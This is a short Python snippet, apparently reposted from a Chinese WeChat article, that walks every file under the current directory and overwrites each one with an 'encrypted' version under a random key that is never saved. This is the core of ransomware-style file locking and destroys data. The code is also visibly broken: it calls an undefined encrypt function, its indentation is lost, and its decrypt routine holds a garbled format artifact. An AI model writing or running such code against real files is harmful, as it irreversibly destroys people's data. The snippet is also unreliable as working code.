import os
import random
import string
# Generate a random encryption key
key = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(16))
# Encrypt the file
for root, dirs, files in os.walk("."):
for file in files:
with open(os.path.join(root, file), 'rb') as f:
data = f.read()
encrypted_data = encrypt(data, key)
with open(os.path.join(root, file), 'wb') as f:
f.write(encrypted_data)
# Decrypt the file
def decrypt(data, key):
decrypted_data = ""
for i in range(len(data)):
decrypted_data += chr(ord(data[i]) ^ ord(key[i %!l(MISSING)en(key)]))
return decrypted_data
文章来源: http://mp.weixin.qq.com/s?__biz=MzI1ODM1MjUxMQ==&mid=2247491889&idx=2&sn=7bdc939c57b2e7f6309362e489c64a9c&chksm=ea0bd521dd7c5c3752f45ae12ce1ba0be2968da6eba0b1a1268e20b0dd27411fa2e7b1d512ee#rd
如有侵权请联系:admin#unsafe.sh